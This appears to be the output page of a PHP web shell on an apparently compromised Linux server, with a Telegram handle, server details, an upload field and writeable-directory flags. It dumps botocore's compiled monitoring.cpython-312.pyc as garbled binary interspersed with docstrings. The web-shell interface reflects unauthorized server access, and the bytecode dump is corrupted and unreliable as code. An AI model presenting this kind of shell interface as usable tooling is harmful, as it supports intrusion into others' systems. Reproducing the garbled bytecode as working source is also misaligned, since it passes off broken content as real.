https://t.me/RX1948
Server : nginx/1.24.0
System : Linux ip-172-31-33-48 6.14.0-1011-aws #11~24.04.1-Ubuntu SMP Fri Aug 1 02:07:25 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
Directory :  /lib/python3/dist-packages/botocore/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/botocore/__pycache__/monitoring.cpython-312.pyc
�

P��euP���ddlZddlZddlZddlZddlmZmZmZddlm	Z
eje�Z
Gd�d�ZGd�d�ZGd�d	�ZGd
�de�ZGd�d
e�ZGd�d�ZGd�d�Zy)�N)�ensure_bytes�ensure_unicode�urlparse)�
EXCEPTION_MAPc�&�eZdZgd�Zd�Zd�Zd�Zy)�Monitor)zbefore-parameter-buildzrequest-createdzresponse-receivedz
after-callzafter-call-errorc� �||_||_y)z�Abstraction for monitoring clients API calls

        :param adapter: An adapter that takes event emitter events
            and produces monitor events

        :param publisher: A publisher for generated monitor events
        N)�_adapter�
_publisher)�self�adapter�	publishers   �5/usr/lib/python3/dist-packages/botocore/monitoring.py�__init__zMonitor.__init__!s�� ��
�#���c�^�|jD]}|j||j�� y)z(Register an event emitter to the monitorN)�_EVENTS_TO_REGISTER�
register_last�capture)r�
event_emitter�event_to_registers   r�registerzMonitor.register,s/��!%�!9�!9�	I���'�'�(9�4�<�<�H�	Irc���	|jj||�}|r|jj|�yy#t$r#}t
j
d||d��Yd}~yd}~wwxYw)z�Captures an incoming event from the event emitter

        It will feed an event emitter event to the monitor's adaptor to create
        a monitor event and then publish that event to the monitor's publisher.
        z:Exception %s raised by client monitor in handling event %sT)�exc_infoN)r
�feedr�publish�	Exception�logger�debug)r�
event_name�payload�
monitor_event�es     rrzMonitor.capture1si��
	� �M�M�.�.�z�7�C�M�����'�'�
�6����	��L�L�L����	
�
�
��	�s�9=�	A)�A$�$A)N)�__name__�
__module__�__qualname__rrrr�rrrrs����	$�I�
rrc�l�eZdZejfd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d�Zd	�Zd
�Z
d�Zd�Zy
)�MonitorEventAdapterc��||_y)z�Adapts event emitter events to produce monitor events

        :type time: callable
        :param time: A callable that produces the current time
        N)�_time)r�times  rrzMonitorEventAdapter.__init__Es����
rc�0�|j|�di|��S)a�Feed an event emitter event to generate a monitor event

        :type emitter_event_name: str
        :param emitter_event_name: The name of the event emitted

        :type emitter_payload: dict
        :param emitter_payload: The payload to associated to the event
            emitted

        :rtype: BaseMonitorEvent
        :returns: A monitor event based on the event emitter events
            fired
        r')�_get_handler)r�emitter_event_name�emitter_payloads   rrzMonitorEventAdapter.feedMs ��5�t� � �!3�4�G��G�Grc�d�t|d|jd�djdd�z�S)N�_handle_�.r�-�_)�getattr�split�replace)rr s  rr.z MonitorEventAdapter._get_handler]s6����*�z�/�/��4�Q�7�?�?��S�I�I�
�	
rc�~�t|jj|j|j	���|d<y)N��service�	operation�	timestamp�current_api_call_event)�APICallEvent�
service_model�
service_id�	wire_name�_get_current_time)r�model�context�kwargss    r�_handle_before_parameter_buildz2MonitorEventAdapter._handle_before_parameter_buildbs4��,8��'�'�2�2��o�o��,�,�.�-
��(�)rc��|j}|dj|j���}|j|_|j
|_||d<y)Nr>)r=�current_api_call_attempt_event)rE�new_api_call_attemptrC�headers�request_headers�url)r�requestrFrE�new_attempt_events     r�_handle_request_createdz+MonitorEventAdapter._handle_request_createdisY���/�/��#�$�
�
�
��)?�)?�)A�
�
B�	�-4�O�O��)� '�����4E��0�1rc���|jd�}|j|�|_|�2|dd|_|dd|_|jd�|_|S||_|S)NrI�ResponseMetadata�HTTPStatusCode�HTTPHeaders�Error)�pop�_get_latency�latency�http_status_code�response_headers�get�parsed_error�wire_exception)r�parsed_responserE�	exceptionrF�
attempt_events      r�_handle_response_receivedz-MonitorEventAdapter._handle_response_receivedrs��� ���$D�E�
� $� 1� 1�-� @�
���&�-<�"�.��. �M�*�.=�"�.��.�M�*�*9�)<�)<�W�)E�M�&���,5�M�(��rc�^�|djdd�|d_|j|�S)NrR�MaxAttemptsReachedFr>)r[�retries_exceeded�_complete_api_call)rrE�parsedrFs    r�_handle_after_callz&MonitorEventAdapter._handle_after_call�s;��=C��>
�

�#�"�E�
*�	�(�)�:��&�&�w�/�/rc�V�|j|�|d_|j|�S�Nr>)�_is_retryable_exceptionrdre)rrEr_rFs    r�_handle_after_call_errorz,MonitorEventAdapter._handle_after_call_error�s3��"�9�9�)�D�	�$�	
�
��&�&�w�/�/rc�:�t|ttd��S)N�GENERAL_CONNECTION_ERROR)�
isinstance�tuple�RETRYABLE_EXCEPTIONS)rr_s  rrjz+MonitorEventAdapter._is_retryable_exception�s ����u�1�2L�M�N�
�	
rc�T�|jd�}|j|�|_|Sri)rVrWrX)rrE�
call_events   rrez&MonitorEventAdapter._complete_api_call�s*���[�[�!9�:�
�!�.�.�z�:�
���rc�<�|j�|jz
S�N)rCr=�r�events  rrWz MonitorEventAdapter._get_latency�s���%�%�'�%�/�/�9�9rc�:�t|j�dz�S)Ni�)�intr+�rs rrCz%MonitorEventAdapter._get_current_time�s���4�:�:�<�$�&�'�'rN)r$r%r&r,rrr.rGrPrargrkrjrerWrCr'rrr)r)DsG�� �I�I��H� 
�

�F��"0�0�
�
�
:�(rr)c��eZdZd�Zd�Zd�Zy)�BaseMonitorEventc�.�||_||_||_y)a�Base monitor event

        :type service: str
        :param service: A string identifying the service associated to
            the event

        :type operation: str
        :param operation: A string identifying the operation of service
            associated to the event

        :type timestamp: int
        :param timestamp: Epoch time in milliseconds from when the event began
        Nr:)rr;r<r=s    rrzBaseMonitorEvent.__init__�s�����"���"��rc�N�|jj�d|j�d�S)N�(�))�	__class__r$�__dict__rys r�__repr__zBaseMonitorEvent.__repr__�s%���.�.�)�)�*�!�D�M�M�+<�A�>�>rc�b�t||j�r|j|jk(Sy)NF)rnr�r�)r�others  r�__eq__zBaseMonitorEvent.__eq__�s&���e�T�^�^�,��=�=�E�N�N�2�2�rN)r$r%r&rr�r�r'rrr{r{�s��#�$?�rr{c�,��eZdZ			d�fd�	Zd�Z�xZS)r?c�f��t�|�|||��||_||_|�g|_||_y)a�Monitor event for a single API call

        This event corresponds to a single client method call, which includes
        every HTTP requests attempt made in order to complete the client call

        :type service: str
        :param service: A string identifying the service associated to
            the event

        :type operation: str
        :param operation: A string identifying the operation of service
            associated to the event

        :type timestamp: int
        :param timestamp: Epoch time in milliseconds from when the event began

        :type latency: int
        :param latency: The time in milliseconds to complete the client call

        :type attempts: list
        :param attempts: The list of APICallAttempts associated to the
            APICall

        :type retries_exceeded: bool
        :param retries_exceeded: True if API call exceeded retries. False
            otherwise
        r:N)�superrrX�attemptsrd)rr;r<r=rXr�rdr�s       �rrzAPICallEvent.__init__�sD���H	����y�I�	�	
���� ��
����D�M� 0��rc��t|j|j|��}|jj	|�|S)z�Instantiates APICallAttemptEvent associated to the APICallEvent

        :type timestamp: int
        :param timestamp: Epoch time in milliseconds to associate to the
            APICallAttemptEvent
        r:)�APICallAttemptEventr;r<r��append)rr=r`s   rrJz!APICallEvent.new_api_call_attempt�s7��,��L�L�D�N�N�i�
�
�	
�
�
���]�+��r)NNF)r$r%r&rrJ�
__classcell__�r�s@rr?r?�s������+1�Zrr?c�.��eZdZ							d�fd�	Z�xZS)r�c���t�|�|||��||_||_||_||_||_|	|_|
|_y)a�Monitor event for a single API call attempt

        This event corresponds to a single HTTP request attempt in completing
        the entire client method call.

        :type service: str
        :param service: A string identifying the service associated to
            the event

        :type operation: str
        :param operation: A string identifying the operation of service
            associated to the event

        :type timestamp: int
        :param timestamp: Epoch time in milliseconds from when the HTTP request
            started

        :type latency: int
        :param latency: The time in milliseconds to complete the HTTP request
            whether it succeeded or failed

        :type url: str
        :param url: The URL the attempt was sent to

        :type http_status_code: int
        :param http_status_code: The HTTP status code of the HTTP response
            if there was a response

        :type request_headers: dict
        :param request_headers: The HTTP headers sent in making the HTTP
            request

        :type response_headers: dict
        :param response_headers: The HTTP headers returned in the HTTP response
            if there was a response

        :type parsed_error: dict
        :param parsed_error: The error parsed if the service returned an
            error back

        :type wire_exception: Exception
        :param wire_exception: The exception raised in sending the HTTP
            request (i.e. ConnectionError)
        r:N)	r�rrXrMrYrLrZr\r])rr;r<r=rXrMrYrLrZr\r]r�s           �rrzAPICallAttemptEvent.__init__�sW���r	����y�I�	�	
������� 0���.��� 0���(���,��r)NNNNNNN)r$r%r&rr�r�s@rr�r��s&����������B-�B-rr�c��eZdZdZdZdZdZdZdddd�Ze	jd	�e	jd
�d�Zgd�Zd
�Z
d�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd �Z d!�Z!d"�Z"d#�Z#d$�Z$d%�Z%y&)'�
CSMSerializer���i�XAmznRequestId�
XAmzRequestId�XAmzId2)zx-amzn-requestidzx-amz-request-idz
x-amz-id-2zSAWS4-HMAC-SHA256 Credential=(?P<access_key>\w+)/\d+/(?P<signing_region>[a-z0-9-]+)/zAWS (?P<access_key>\w+):)�v4�s3)r;r<r=r�rXrdrMrLrYrZr\r]c�4�|j|�||_y)z�Serializes monitor events to CSM (Client Side Monitoring) format

        :type csm_client_id: str
        :param csm_client_id: The application identifier to associate
            to the serialized events
        N)�_validate_client_id�
csm_client_id�rr�s  rrzCSMSerializer.__init__ds��	
� � ��/�*��rc�l�t|�|jkDrtd|�d|j�d���y)Nz&The value provided for csm_client_id: z exceeds the maximum length of z characters)�len�_MAX_CLIENT_ID_LENGTH�
ValueErrorr�s  rr�z!CSMSerializer._validate_client_idnsH���}��� :� :�:��8���H)�)-�)C�)C�(D�K�Q��
�;rc��|j|�}|j|�}||d<|jD]*}t||d�}|��t|d|z�|||���,t	tj|d���S)z�Serializes a monitor event to the CSM format

        :type event: BaseMonitorEvent
        :param event: The event to serialize to bytes

        :rtype: bytes
        :returns: The CSM serialized form of the event
        �TypeN�_serialize_)�
event_type)�,�:)�
separators)�_get_base_event_dict�_get_event_type�_SERIALIZEABLE_EVENT_PROPERTIESr6r�json�dumps)rrv�
event_dictr��attr�values      r�	serializezCSMSerializer.serializeus����.�.�u�5�
��)�)�%�0�
�'�
�6���8�8�	�D��E�4��.�E�� �3���m�d�2�3��:�*��	��D�J�J�z�j�I�J�Jrc� �d|jd�S)N�)�Version�ClientId)r�rus  rr�z"CSMSerializer._get_base_event_dict�s����*�*�
�	
rc��||d<y)N�Servicer')rr;r�rFs    r�_serialize_servicez CSMSerializer._serialize_service�s�� '�
�9�rc��||d<y)N�Apir')rr<r�rFs    r�_serialize_operationz"CSMSerializer._serialize_operation�s��%�
�5�rc��||d<y)N�	Timestampr')rr=r�rFs    r�_serialize_timestampz"CSMSerializer._serialize_timestamp�s��"+�
�;�rc�P�t|�|d<|r|j||d�yy)N�AttemptCount���)r��_add_fields_from_last_attempt)rr�r�rFs    r�_serialize_attemptsz!CSMSerializer._serialize_attempts�s,��%(��]�
�>�"���.�.�z�8�B�<�H�rc�x�|jr@|j|j�}|�||d<|j|j�|d<|j�|j|d<|j�|j|j|d�|j�|j|j|d�yy)N�Region�	UserAgent�FinalHttpStatusCode�ApiCall)rL�_get_region�_get_user_agentrYr\�_serialize_parsed_errorr]�_serialize_wire_exception)rr��last_attempt�regions    rr�z+CSMSerializer._add_fields_from_last_attempt�s����'�'��%�%�l�&B�&B�C�F��!�'-�
�8�$�&*�&:�&:��,�,�'�J�{�#��(�(�4�0<�0M�0M�J�,�-��$�$�0��(�(��)�)�:�y�
��&�&�2��*�*��+�+�Z��
�3rc�0�|dk(r||d<y|dk(r||d<yy)Nr��Latency�ApiCallAttempt�AttemptLatencyr')rrXr�r�s    r�_serialize_latencyz CSMSerializer._serialize_latency�s-����"�$+�J�y�!�
�+�
+�+2�J�'�(�,rc��|rd|d<yd|d<y)Nr�r�MaxRetriesExceededr')rrdr�rFs    r�_serialize_retries_exceededz)CSMSerializer._serialize_retries_exceeded�s��1A�1�
�'�(�a�
�'�(rc�4�t|�j|d<y)N�Fqdn)r�netloc)rrMr�rFs    r�_serialize_urlzCSMSerializer._serialize_url�s��%�c�]�1�1�
�6�rc��|j|�|d<|j|�r|j|�|d<|j|�}|�||d<d|vr	|d|d<yy)Nr��	AccessKeyr�zX-Amz-Security-Token�SessionToken)r��
_is_signed�_get_access_keyr�)rrLr�rFr�s     r�_serialize_request_headersz(CSMSerializer._serialize_request_headers�sy��#'�"6�"6��"G�
�;���?�?�?�+�&*�&:�&:�?�&K�J�{�#��!�!�/�2����#)�J�x� �!�_�4�)8�&�*�J�~�&�5rc��||d<y)N�HttpStatusCoder')rrYr�rFs    r�_serialize_http_status_codez)CSMSerializer._serialize_http_status_code�s��(8�
�#�$rc�b�|jj�D]\}}||vs�||||<�yrt)�"_RESPONSE_HEADERS_TO_EVENT_ENTRIES�items)rrZr�rF�header�entrys      r�_serialize_response_headersz)CSMSerializer._serialize_response_headers�s>��"�D�D�J�J�L�	=�M�F�E��)�)�$4�V�$<�
�5�!�	=rc��|dk(rdnd}|j|d|j�||dz<|j|d|j�||dz<y)Nr��Final��Code�AwsException�Message�AwsExceptionMessage)�	_truncate�_MAX_ERROR_CODE_LENGTH�_MAX_MESSAGE_LENGTH)rr\r�r�rF�field_prefixs      rr�z%CSMSerializer._serialize_parsed_error�sf��#-�	�"9�w�r��48�N�N��� �$�"=�"=�5
�
�<�.�0�1�<@�>�>���#�T�%=�%=�<
�
�<�"7�7�8rc���|dk(rdnd}|j|jj|j�||dz<|jt	|�|j
�||dz<y)Nr�r�r��SdkException�SdkExceptionMessage)r�r�r$�_MAX_EXCEPTION_CLASS_LENGTH�strr�)rr]r�r�rFr�s      rr�z'CSMSerializer._serialize_wire_exception�sm��#-�	�"9�w�r��48�N�N��$�$�-�-�t�/O�/O�5
�
�<�.�0�1�<@�>�>�����!9�!9�<
�
�<�"7�7�8rc�H�t|t�ryt|t�ryy)Nr�r�)rnr?r�rus  rr�zCSMSerializer._get_event_type�s"���e�\�*��
��2�
3�#�4rc�n�|j|�}|j|�\}}|jd�S)N�
access_key)�_get_auth_value�_get_auth_match�group)rrL�auth_valr5�
auth_matchs     rr�zCSMSerializer._get_access_key�s7���'�'��8���,�,�X�6�
��:�����-�-rc��|j|�sy|j|�}|j|�\}}|dk7ry|jd�S)Nr��signing_region)r�r�r�r)rrLr�signature_versionrs     rr�zCSMSerializer._get_region�sT������/���'�'��8��(,�(<�(<�X�(F�%��:���$����� 0�1�1rc�l�|jt|jdd��|j�S)Nz
User-Agentr�)r�rr[�_MAX_USER_AGENT_LENGTH�rrLs  rr�zCSMSerializer._get_user_agents1���~�~��?�.�.�|�R�@�A��'�'�
�	
rc�
�d|vS�N�
Authorizationr'rs  rr�zCSMSerializer._is_signed
s
���/�1�1rc��t|d�Sr
)rrs  rr�zCSMSerializer._get_auth_value
s���o�o�>�?�?rc�z�|jj�D]\}}|j|�}|s�||fcSy)N)NN)�_AUTH_REGEXSr��match)rrr�regexrs     rr�zCSMSerializer._get_auth_matchsG��(,�(9�(9�(?�(?�(A�	0�$��u��K�K��)�E��(�%�/�/�	0�rc�Z�t|�|kDrtjd||�|d|S|S)Nz6Truncating following value to maximum length of %s: %s)r�rr)r�text�
max_lengths   rr�zCSMSerializer._truncates7���t�9�z�!��L�L�K���
�
���$�$��rN)&r$r%r&r�r�r�rr�r��re�compilerr�rr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r'rrr�r�Bs�����"%�� �� ����,�+��*�&��b�j�j�
/�
�
�b�j�j�4�5�
�L�
'�#�+��K�(
�(�&�,�I�
�*3�H�
2��8�
=�	
�	
�$�.�
2�
�2�@��rr�c��eZdZdZd�Zd�Zy)�SocketPublisheri c�2�||_||f|_||_y)a)Publishes monitor events to a socket

        :type socket: socket.socket
        :param socket: The socket object to use to publish events

        :type host: string
        :param host: The host to send events to

        :type port: integer
        :param port: The port on the host to send events to

        :param serializer: The serializer to use to serialize the event
            to a form that can be published to the socket. This must
            have a `serialize()` method that accepts a monitor event
            and return bytes
        N)�_socket�_address�_serializer)r�socket�host�port�
serializers     rrzSocketPublisher.__init__%s��"����t���
�%��rc��|jj|�}t|�|jkDr+tjdt|�|j�y|jj||j�y)z�Publishes a specified monitor event

        :type event: BaseMonitorEvent
        :param event: The monitor event to be sent
            over the publisher's socket to the desired address.
        z`Serialized event of size %s exceeds the maximum length allowed: %s. Not sending event to socket.N)	rr�r��_MAX_MONITOR_EVENT_LENGTHrrr�sendtor)rrv�serialized_events   rrzSocketPublisher.publish:sp�� �+�+�5�5�e�<���� �4�#A�#A�A��L�L�<��$�%��.�.�	
�
������,�d�m�m�<rN)r$r%r&r!rrr'rrrr"s�� (��&�*=rr)r��loggingrr,�botocore.compatrrr�botocore.retryhandlerrrp�	getLoggerr$rrr)r{r?r�r�rr'rr�<module>r(s�����	��B�B�G�	��	�	�8�	$��)�)�X](�](�@��89�#�9�xC-�*�C-�L]�]�@(=�(=r

https://t.me/RX1948 - 2025